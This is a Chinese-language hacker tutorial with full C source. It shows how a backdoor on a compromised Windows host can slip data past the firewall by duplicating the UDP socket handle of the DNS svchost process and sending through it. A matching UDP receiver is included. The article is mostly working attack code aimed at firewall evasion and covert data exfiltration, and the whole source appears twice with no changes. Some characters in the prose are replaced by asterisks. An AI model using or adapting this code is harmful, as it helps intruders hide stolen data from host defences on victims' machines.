穿透防火墙的数据传输方法（附源码）
通常，在我们为目标主机安放好了后门需要将数据传输出去时，主机上的防火墙都会让我们遇到*些不大不小的麻烦。如果为我们自己的进程开*个端口（甚至是新建套接字），那么大部分的防火墙都会将其拦截。有什么方法能"穿透"这些防火墙呢？
下面我为您介绍*种"洞穿"防火墙小规模传输重要数据的方法。不过，不推荐您在其它情况下使用该方法。
其实我的思路很简单，既然防火墙会拦截未验证进程而放行已验证进程的数据传输，那我们就将其它进程中允许数据传输的套接字句柄拿为已用。具体过程如下：
1、找出目标进程；
2、找出SOCKET句柄；
2、用DuplicateHandle()函数将其SOCKET转换为能被自己使用；
3、用转换后的SOCKET进行数据传输。
上面的过程写的很简单，但是实现起来还存在*些问题（后面再做讨论）。另外，从上面的实现方法中也可以看到*些很难控制的地方，比如在目标进程的SOCKET不能是TCP，只能是UDP，因为TCP的句柄已经跟外面建立了连接。同时，针对不同系统不同进程我们也很难定位*个稳定的进程SOCKET。
看到这么多"麻烦"，你有点泄气了对不对？不要着急，再想*想，其实我们有*条真正通向罗马的"黄金大道"。我们都知道只要*台计算机联上了网络，那么有*种数据传输是肯定不会被拦截的，不错，就是DNS！你能想像域*解析数据都被拦截所造成的后果吗？既然DNS是不会被拦的，而且它又是UDP传输，我们就从它"开刀"。
本文为您提供了*个通过直接控制DNS进程（其实也就是svchost.exe，不过对应用户*是NETWORK SERVICE）进行数据传输的例子。查看详细源代码见附件1。
需要说明的是，在实际编程中出现了很多问题，比如说获取svchost对应用户*时没有权限（但是能够操作LOCAL SERVICE）、在句柄值为0x2c时进行getsockname时会停止运行等等。具体解决方法请您仔细阅读源代码中的注释部分。
*后，我们可以再用测试代码（附件2）看看效果。测试步骤：
1、在*台机器上执行UdpReceiver；
2、在安装防火墙的机器上执行第*个程序。
小结：在本例的源代码中，因为要在多个svchost.exe进程中找出DNS进程句柄，所以通过用户*进行判断。其实本来是计划采用OpenProcessToken的，但在编程中发现始终不能实现，只好换了方法。例子中还用到了wtsapi32库函数。
源代码部分：
附件1：
======================================================
/*++
Made By ZwelL
zwell@sohu.com
2005.4.12
--*/
#include <winsock2.h>
#include <stdio.h>
#include <wtsapi32.h>
#pragma comment(lib, "ws2_32")
#pragma comment(lib, "wtsapi32")
#define NT_SUCCESS(status) ((NTSTATUS)(status)>=0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
typedef LONG NTSTATUS;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;
BOOL LocateNtdllEntry ( void )
{
BOOL ret = FALSE;
char NTDLL_DLL[] = "ntdll.dll";
HMODULE ntdll_dll = NULL;
if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )
{
printf( "GetModuleHandle() failed");
return( FALSE );
}
if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( ntdll_dll, "ZwQuerySystemInformation" ) ) )
{
goto LocateNtdllEntry_exit;
}
ret = TRUE;
LocateNtdllEntry_exit:
if ( FALSE == ret )
{
printf( "GetProcAddress() failed");
}
ntdll_dll = NULL;
return( ret );
}
/*++
This routine is used to get a process's username from it's SID
--*/
BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName)
{
// sanity checks and default value
if (pUserSid == NULL)
return false;
strcpy(szUserName, "?");
SID_NAME_USE snu;
TCHAR szUser[_MAX_PATH];
DWORD chUser = _MAX_PATH;
PDWORD pcchUser = &chUser;
TCHAR szDomain[_MAX_PATH];
DWORD chDomain = _MAX_PATH;
PDWORD pcchDomain = &chDomain;
// Retrieve user name and domain name based on user's SID.
if (
::LookupAccountSid(
NULL,
pUserSid,
szUser,
pcchUser,
szDomain,
pcchDomain,
&snu
)
)
{
wsprintf(szUserName, "%s", szUser);
}
else
{
return false;
}
return true;
}
/*++
This routine is used to get the DNS process's Id
Here, I use WTSEnumerateProcesses to get process user Sid,
and then get the process user name. Beacause as it's a "NETWORK SERVICE",
we cann't use OpenProcessToken to catch the DNS process's token information,
even if we has the privilege in catching the SYSTEM's.
--*/
DWORD GetDNSProcessId()
{
PWTS_PROCESS_INFO pProcessInfo = NULL;
DWORD ProcessCount = 0;
char szUserName[255];
DWORD Id = -1;
if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))
{
// dump each process description
for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)
{
if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "svchost.exe") == 0 )
{
GetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid, szUserName);
if( strcmp(szUserName, "NETWORK SERVICE") == 0)
{
Id = pProcessInfo[CurrentProcess].ProcessId;
break;
}
}
}
WTSFreeMemory(pProcessInfo);
}
return Id;
}
/*++
This doesn't work as we know, sign...
but you can use the routine for other useing...
--*/
/*
BOOL GetProcessUserFromId(char *szAccountName, DWORD PID)
{
HANDLE hProcess = NULL,
hAccessToken = NULL;
TCHAR InfoBuffer[1000], szDomainName[200];
PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200;
SID_NAME_USE snu;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID);
if(hProcess == NULL)
{
printf("OpenProcess wrong");
CloseHandle(hProcess);
return false;
}
if(0 == OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken))
{
printf("OpenProcessToken wrong:%08x", GetLastError());
return false;
}
GetTokenInformation(hAccessToken,TokenUser,InfoBuffer,
1000, &dwInfoBufferSize);
LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName,
&dwAccountSize,szDomainName, &dwDomainSize, &snu);
if(hProcess)
CloseHandle(hProcess);
if(hAccessToken)
CloseHandle(hAccessToken);
return true;
}*/
/*++
Now, it is the most important stuff... ^_^
--*/
SOCKET GetSocketFromId (DWORD PID)
{
NTSTATUS status;
PVOID buf = NULL;
ULONG size = 1;
ULONG NumOfHandle = 0;
ULONG i;
PSYSTEM_HANDLE_INFORMATION h_info = NULL;
HANDLE sock = NULL;
DWORD n;
buf=malloc(0x1000);
if(buf == NULL)
{
printf("malloc wrong\n");
return NULL;
}
status = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n );
if(STATUS_INFO_LENGTH_MISMATCH == status)
{
free(buf);
buf=malloc(n);
if(buf == NULL)
{
printf("malloc wrong\n");
return NULL;
}
status = ZwQuerySystemInformation( 0x10, buf, n, NULL);
}
else
{
printf("ZwQuerySystemInformation wrong\n");
return NULL;
}
NumOfHandle = *(ULONG*)buf;
h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);
for(i = 0; i<NumOfHandle ;i++)
{
try
{
if( ( h_info[i].ProcessId == PID ) && ( h_info[i].ObjectTypeNumber == 0x1c )
&& (h_info[i].Handle!=0x2c) // I don't know why if the Handle equal to 0x2c, in my test, it stops at getsockname()
// So I jump over this situation...
// May be it's different in your system,
) //wind2000 is 0x1a
{
//printf("Handle:0x%x Type:%08x\n",h_info[i].Handle, h_info[i].ObjectTypeNumber);
if( 0 == DuplicateHandle(
OpenProcess(PROCESS_ALL_ACCESS, TRUE, PID),
(HANDLE)h_info[i].Handle,
GetCurrentProcess(),
&sock,
STANDARD_RIGHTS_REQUIRED,
true,
DUPLICATE_SAME_ACCESS)
)
{
printf("DuplicateHandle wrong:%8x", GetLastError());
continue;
}
//printf("DuplicateHandle ok\n");
sockaddr_in name = {0};
name.sin_family = AF_INET;
int namelen = sizeof(sockaddr_in);
getsockname( (SOCKET)sock, (sockaddr*)&name, &namelen );
//printf("PORT=%5d\n", ntohs( name.sin_port ));
if(ntohs(name.sin_port)>0) // if port > 0, then we can use it
break;
}
}
catch(...)
{
continue;
}
}
if ( buf != NULL )
{
free( buf );
}
return (SOCKET)sock;
}
/*++
This is not required...
--*/
BOOL EnablePrivilege (PCSTR name)
{
HANDLE hToken;
BOOL rv;
TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
LookupPrivilegeValue (
0,
name,
&priv.Privileges[0].Luid
);
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
OpenProcessToken(
GetCurrentProcess (),
TOKEN_ADJUST_PRIVILEGES,
&hToken
);
AdjustTokenPrivileges (
hToken,
FALSE,
&priv,
sizeof priv,
0,
0
);
rv = GetLastError () == ERROR_SUCCESS;
CloseHandle (hToken);
return rv;
}
void main()
{
WSADATA wsaData;
char testbuf[255];
SOCKET sock;
sockaddr_in RecvAddr;
int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
if (iResult != NO_ERROR)
printf("Error at WSAStartup()\n");
if(!LocateNtdllEntry())
return;
if(!EnablePrivilege (SE_DEBUG_NAME))
{
printf("EnablePrivilege wrong\n");
return;
}
sock = GetSocketFromId(GetDNSProcessId());
if( sock==NULL)
{
printf("GetSocketFromId wrong\n");
return;
}
//Change there value...
RecvAddr.sin_family = AF_INET;
RecvAddr.sin_port = htons(5555);
RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
if(SOCKET_ERROR == sendto(sock,
"test",
5,
0,
(SOCKADDR *) &RecvAddr,
sizeof(RecvAddr)))
{
printf("sendto wrong:%d\n", WSAGetLastError());
}
else
{
printf("send ok... Have fun, right? ^_^\n");
}
getchar();
//WSACleanup();
return;
}
测试代码部分：
/*++
UdpReceiver
--*/
#include <stdio.h>
#include "winsock2.h"
#pragma comment(lib, "ws2_32")
void main()
{
WSADATA wsaData;
SOCKET RecvSocket;
sockaddr_in RecvAddr;
int Port = 5555;
char RecvBuf[1024];
int BufLen = 1024;
sockaddr_in SenderAddr;
int SenderAddrSize = sizeof(SenderAddr);
//-----------------------------------------------
// Initialize Winsock
WSAStartup(MAKEWORD(2,2), &wsaData);
//-----------------------------------------------
// Create a receiver socket to receive datagrams
RecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
//-----------------------------------------------
// Bind the socket to any address and the specified port.
RecvAddr.sin_family = AF_INET;
RecvAddr.sin_port = htons(Port);
RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY);
bind(RecvSocket, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr));
//-----------------------------------------------
// Call the recvfrom function to receive datagrams
// on the bound socket.
printf("Receiving datagrams...\n");
while(1)
{
recvfrom(RecvSocket,
RecvBuf,
BufLen,
0,
(SOCKADDR *)&SenderAddr,
&SenderAddrSize);
printf("%s\n", RecvBuf);
}
//-----------------------------------------------
// Close the socket when finished receiving datagrams
printf("Finished receiving. Closing socket.\n");
closesocket(RecvSocket);
//-----------------------------------------------
// Clean up and exit.
printf("Exiting.\n");
WSACleanup();
return;
}
附件2：
======================================================
源代码部分：
/*++
Made By ZwelL
zwell@sohu.com
2005.4.12
--*/
#include <winsock2.h>
#include <stdio.h>
#include <wtsapi32.h>
#pragma comment(lib, "ws2_32")
#pragma comment(lib, "wtsapi32")
#define NT_SUCCESS(status) ((NTSTATUS)(status)>=0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
typedef LONG NTSTATUS;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;
BOOL LocateNtdllEntry ( void )
{
BOOL ret = FALSE;
char NTDLL_DLL[] = "ntdll.dll";
HMODULE ntdll_dll = NULL;
if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )
{
printf( "GetModuleHandle() failed");
return( FALSE );
}
if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( ntdll_dll, "ZwQuerySystemInformation" ) ) )
{
goto LocateNtdllEntry_exit;
}
ret = TRUE;
LocateNtdllEntry_exit:
if ( FALSE == ret )
{
printf( "GetProcAddress() failed");
}
ntdll_dll = NULL;
return( ret );
}
/*++
This routine is used to get a process's username from it's SID
--*/
BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName)
{
// sanity checks and default value
if (pUserSid == NULL)
return false;
strcpy(szUserName, "?");
SID_NAME_USE snu;
TCHAR szUser[_MAX_PATH];
DWORD chUser = _MAX_PATH;
PDWORD pcchUser = &chUser;
TCHAR szDomain[_MAX_PATH];
DWORD chDomain = _MAX_PATH;
PDWORD pcchDomain = &chDomain;
// Retrieve user name and domain name based on user's SID.
if (
::LookupAccountSid(
NULL,
pUserSid,
szUser,
pcchUser,
szDomain,
pcchDomain,
&snu
)
)
{
wsprintf(szUserName, "%s", szUser);
}
else
{
return false;
}
return true;
}
/*++
This routine is used to get the DNS process's Id
Here, I use WTSEnumerateProcesses to get process user Sid,
and then get the process user name. Beacause as it's a "NETWORK SERVICE",
we cann't use OpenProcessToken to catch the DNS process's token information,
even if we has the privilege in catching the SYSTEM's.
--*/
DWORD GetDNSProcessId()
{
PWTS_PROCESS_INFO pProcessInfo = NULL;
DWORD ProcessCount = 0;
char szUserName[255];
DWORD Id = -1;
if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))
{
// dump each process description
for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)
{
if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "svchost.exe") == 0 )
{
GetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid, szUserName);
if( strcmp(szUserName, "NETWORK SERVICE") == 0)
{
Id = pProcessInfo[CurrentProcess].ProcessId;
break;
}
}
}
WTSFreeMemory(pProcessInfo);
}
return Id;
}
/*++
This doesn't work as we know, sign...
but you can use the routine for other useing...
--*/
/*
BOOL GetProcessUserFromId(char *szAccountName, DWORD PID)
{
HANDLE hProcess = NULL,
hAccessToken = NULL;
TCHAR InfoBuffer[1000], szDomainName[200];
PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200;
SID_NAME_USE snu;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID);
if(hProcess == NULL)
{
printf("OpenProcess wrong");
CloseHandle(hProcess);
return false;
}
if(0 == OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken))
{
printf("OpenProcessToken wrong:%08x", GetLastError());
return false;
}
GetTokenInformation(hAccessToken,TokenUser,InfoBuffer,
1000, &dwInfoBufferSize);
LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName,
&dwAccountSize,szDomainName, &dwDomainSize, &snu);
if(hProcess)
CloseHandle(hProcess);
if(hAccessToken)
CloseHandle(hAccessToken);
return true;
}*/
/*++
Now, it is the most important stuff... ^_^
--*/
SOCKET GetSocketFromId (DWORD PID)
{
NTSTATUS status;
PVOID buf = NULL;
ULONG size = 1;
ULONG NumOfHandle = 0;
ULONG i;
PSYSTEM_HANDLE_INFORMATION h_info = NULL;
HANDLE sock = NULL;
DWORD n;
buf=malloc(0x1000);
if(buf == NULL)
{
printf("malloc wrong\n");
return NULL;
}
status = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n );
if(STATUS_INFO_LENGTH_MISMATCH == status)
{
free(buf);
buf=malloc(n);
if(buf == NULL)
{
printf("malloc wrong\n");
return NULL;
}
status = ZwQuerySystemInformation( 0x10, buf, n, NULL);
}
else
{
printf("ZwQuerySystemInformation wrong\n");
return NULL;
}
NumOfHandle = *(ULONG*)buf;
h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);
for(i = 0; i<NumOfHandle ;i++)
{
try
{
if( ( h_info[i].ProcessId == PID ) && ( h_info[i].ObjectTypeNumber == 0x1c )
&& (h_info[i].Handle!=0x2c) // I don't know why if the Handle equal to 0x2c, in my test, it stops at getsockname()
// So I jump over this situation...
// May be it's different in your system,
) //wind2000 is 0x1a
{
//printf("Handle:0x%x Type:%08x\n",h_info[i].Handle, h_info[i].ObjectTypeNumber);
if( 0 == DuplicateHandle(
OpenProcess(PROCESS_ALL_ACCESS, TRUE, PID),
(HANDLE)h_info[i].Handle,
GetCurrentProcess(),
&sock,
STANDARD_RIGHTS_REQUIRED,
true,
DUPLICATE_SAME_ACCESS)
)
{
printf("DuplicateHandle wrong:%8x", GetLastError());
continue;
}
//printf("DuplicateHandle ok\n");
sockaddr_in name = {0};
name.sin_family = AF_INET;
int namelen = sizeof(sockaddr_in);
getsockname( (SOCKET)sock, (sockaddr*)&name, &namelen );
//printf("PORT=%5d\n", ntohs( name.sin_port ));
if(ntohs(name.sin_port)>0) // if port > 0, then we can use it
break;
}
}
catch(...)
{
continue;
}
}
if ( buf != NULL )
{
free( buf );
}
return (SOCKET)sock;
}
/*++
This is not required...
--*/
BOOL EnablePrivilege (PCSTR name)
{
HANDLE hToken;
BOOL rv;
TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
LookupPrivilegeValue (
0,
name,
&priv.Privileges[0].Luid
);
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
OpenProcessToken(
GetCurrentProcess (),
TOKEN_ADJUST_PRIVILEGES,
&hToken
);
AdjustTokenPrivileges (
hToken,
FALSE,
&priv,
sizeof priv,
0,
0
);
rv = GetLastError () == ERROR_SUCCESS;
CloseHandle (hToken);
return rv;
}
void main()
{
WSADATA wsaData;
char testbuf[255];
SOCKET sock;
sockaddr_in RecvAddr;
int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
if (iResult != NO_ERROR)
printf("Error at WSAStartup()\n");
if(!LocateNtdllEntry())
return;
if(!EnablePrivilege (SE_DEBUG_NAME))
{
printf("EnablePrivilege wrong\n");
return;
}
sock = GetSocketFromId(GetDNSProcessId());
if( sock==NULL)
{
printf("GetSocketFromId wrong\n");
return;
}
//Change there value...
RecvAddr.sin_family = AF_INET;
RecvAddr.sin_port = htons(5555);
RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
if(SOCKET_ERROR == sendto(sock,
"test",
5,
0,
(SOCKADDR *) &RecvAddr,
sizeof(RecvAddr)))
{
printf("sendto wrong:%d\n", WSAGetLastError());
}
else
{
printf("send ok... Have fun, right? ^_^\n");
}
getchar();
//WSACleanup();
return;
}
测试代码部分：
/*++
UdpReceiver
--*/
#include <stdio.h>
#include "winsock2.h"
#pragma comment(lib, "ws2_32")
void main()
{
WSADATA wsaData;
SOCKET RecvSocket;
sockaddr_in RecvAddr;
int Port = 5555;
char RecvBuf[1024];
int BufLen = 1024;
sockaddr_in SenderAddr;
int SenderAddrSize = sizeof(SenderAddr);
//-----------------------------------------------
// Initialize Winsock
WSAStartup(MAKEWORD(2,2), &wsaData);
//-----------------------------------------------
// Create a receiver socket to receive datagrams
RecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
//-----------------------------------------------
// Bind the socket to any address and the specified port.
RecvAddr.sin_family = AF_INET;
RecvAddr.sin_port = htons(Port);
RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY);
bind(RecvSocket, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr));
//-----------------------------------------------
// Call the recvfrom function to receive datagrams
// on the bound socket.
printf("Receiving datagrams...\n");
while(1)
{
recvfrom(RecvSocket,
RecvBuf,
BufLen,
0,
(SOCKADDR *)&SenderAddr,
&SenderAddrSize);
printf("%s\n", RecvBuf);
}
//-----------------------------------------------
// Close the socket when finished receiving datagrams
printf("Finished receiving. Closing socket.\n");
closesocket(RecvSocket);
//-----------------------------------------------
// Clean up and exit.
printf("Exiting.\n");
WSACleanup();
return;
}